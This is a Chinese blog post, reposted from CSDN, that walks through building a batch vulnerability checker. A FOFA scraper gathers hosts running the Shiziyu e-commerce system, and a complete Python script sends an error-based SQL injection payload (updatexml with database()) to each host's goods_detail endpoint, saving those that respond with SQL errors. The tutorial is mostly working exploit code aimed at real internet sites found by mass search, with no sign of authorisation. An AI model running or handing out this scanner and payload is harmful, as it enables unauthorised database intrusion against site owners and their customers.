前言
版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_72543266/article/details/138048042
主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证.
紧接着上一篇文章西了一个使用fofa脚本突破注册会员限制进行信息爬取.但是对收集的CVE-2019-2725 weblogic 未授权远程代码的信息进行批量验证时发现,收集的信息居然一个漏洞都没有
可能是因为漏洞出现太早了被别人刷没了,所以没有了,所以用之前写的狮子鱼批量监测作为演示吧,算是一个编写通用脚本的演示,这个现在漏洞存在还挺多的
1.FOFA收集漏洞信息语法:
1.1.收集语法及解释
这里解释一下语法的意思,其实是搜索,URL出含有下面语句的资产,狮子鱼的开发时的特征
"/seller.php?s=/Public/login"
编辑
1.2.构造XPath匹配
这里直接构造xpath提取
//span[@class="hsxa-host"]/a/@href
1.3.进行fofa一页的信息收集
这个是怎么写的,以及,如何突破注册会员限制进行超过5页的信息爬取,在我上一篇文章中有提及
# -*- coding: utf-8 -*- import requests import base64 from lxml import etree fofa_url = 'https://fofa.info/result?qbase64=' search_worlds = '"/seller.php?s=/Public/login"' search_worlds_base64 = base64.b64encode(search_worlds.encode('utf-8')).decode('utf-8') url = str(fofa_url + search_worlds_base64) # print(url) # 使用verify=false会出现waring警告,去掉警告用下面这条语句 requests.packages.urllib3.disable_warnings() headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0', 'Cookie': '' # 填入自己的cookie,不知道看我上一篇文章怎么获得 } result = requests.get(url, headers=headers, verify=False) # data = result.content.decode('utf-8') # 虽然还是会导致出现的返回的文本中出现乱码,但是可以进行处理 data = result.content.decode('gbk', errors='ignore') # print(data) html = etree.HTML(data) # IPaddrs = html.xpath('//div[@class="hsxa-meta-data-item"]/div[@class="hsxa-clearfix hsxa-meta-data-list-revision-lv1"]/div[@class="hsxa-fl hsxa-meta-data-list-lv1-lf"]/span[@class="hsxa-host"]/text()') IPaddrs = html.xpath('//span[@class="hsxa-host"]/a/@href') print(IPaddrs)
2.登录界面
2.1后台登录界面(一般)
2.2后台登录界面(特殊)
今天测试时,意外发现的不同页面
3.编写验证脚本
3.1 熟悉漏洞poc
看了下面的poc,学过sql注入的师傅肯定很清楚,就是sql里面的报错注入
/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
3.2 如何进行验证呢
直接将漏洞poc与我们上面收集的资产直接进行拼接就可以了,如果出现报错页面,那么代表存在漏洞,但是在今天验证的时候,出现的问题,在第二次验证的时候又消失了,等碰到再改脚本吧
看报错页面,关键部分就是出现一个syntax和一个数据库名
3.3. 进行编写
我把需要编写的几个部分进行拆分一下,方便学习的师傅进行理解
进行存储验证poc的变量
payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
3.1.2.拼接部分
就是将收集的资产与payload进行拼接起来的函数,以及写的headers的作用是避免反爬机制,传入的url是从,收集资产的txt文件中,将每条信息进行传入,然后进行后续的拼接.
def POC(url): target_url = url + payload headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/86.0.4240.111 Safari/537.36", }
3.1.3.请求与验证部分
使用try-except的作用是,如果出现超时,或是错误其他一些错误信息时,可以避免,因为爆破而停止对资产的验证,因为验证方式是使用拼接代表使用get请求进行请求,下面就是将前面写的构造好的url,请求头,以及超时填入.用了if判断是通过判断,前面图中,出现爆破页面后,图中出现明显的sql注入报错词syntax,后确定为存在报错注入,避免因为其他报错,而出现误报,其他错误就显示请求失败.
try: response = requests.get(url=target_url, headers=headers, verify=False, timeout=10) print("正在测试:", target_url) if "syntax" in response.text: print("上述地址存在SQL注入") return url except Exception as e: print("请求失败!")
3.1.4.传入与保存
通过个人比较喜欢使用的with--open格式进行编写,其实是为了避免遗忘关闭文件,下面就是将资产中存在请求协议的资产进行传入,进行拼接,当然对于没有的资产,我其实是写了一个脚本进行处理的,因为我写的通过fofa搜集的资产是没有请求协议的.最后,将返回结果不为空的存在漏洞资产进行保存.
with open("狮子鱼SQL.txt", "r") as f: results = f.readlines() for result in results: if ("http" or "https") in result: url = result.strip() SQL = POC(url) with open("存在狮子鱼SQL注入.txt", "a+") as f: if "None" not in str(SQL): f.write(str(SQL) + "\n")
3.1.5.对fofa收集的狮子鱼资产进行筛选和处理
# 链接处理脚本 # 打开要处理的文件 with open("url.txt", "r") as f: # 进行处理后进行存储的文本 f1 = open("new_url.txt", "w") for url in f: if url.startswith("https"): # 包含协议的ip # 将url进行分割,取出协议部分,去除端口部分,并添加"/",最后去掉没一行的换行 new_url = ((url.split(":")[0] + ":" + url.split(":")[1]).strip() + "/").strip() # print(new_url) # f1.write(new_url + "\n") else: # 给不含协议的ip,去除端口部分,并添加协议和"/" # 这里因为在组成http协议的链接后会自动换行,所以先去掉换行,然后进行组成 new_url = (("http://" + url.split(":")[0]).strip() + "/").strip() # print(new_url) f1.write(new_url + "\n") print("!!!链接已处理完毕!!!")
其中url.txt中就是是用我写的fofa脚本进行收集的资产,新的是处理后的资产
3.1.5.完整代码
# -*- coding:utf-8 -*- import requests import urllib3 urllib3.disable_warnings() # 忽略https证书告警 payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)" def POC(url): target_url = url + payload headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/86.0.4240.111 Safari/537.36", } try: response = requests.get(url=target_url, headers=headers, verify=False, timeout=10) print("正在测试:", target_url) if "syntax" in response.text: print("上述地址存在SQL注入") return url except Exception as e: print("请求失败!") if __name__ == '__main__': with open("狮子鱼SQL.txt", "r") as f: results = f.readlines() for result in results: if ("http" or "https") in result: url = result.strip() SQL = POC(url) with open("存在狮子鱼SQL注入.txt", "a+") as f: if "None" not in str(SQL): f.write(str(SQL) + "\n")
总结
对收集的漏洞信息进行批量监测的一个通用脚本,本质是可以做一个通用的漏洞批量监测的通用模板,可惜的是没有成功获得可以进行测试的weblogic的资产,但是还是发现狮子鱼确实漏洞资产很多可以进行验证.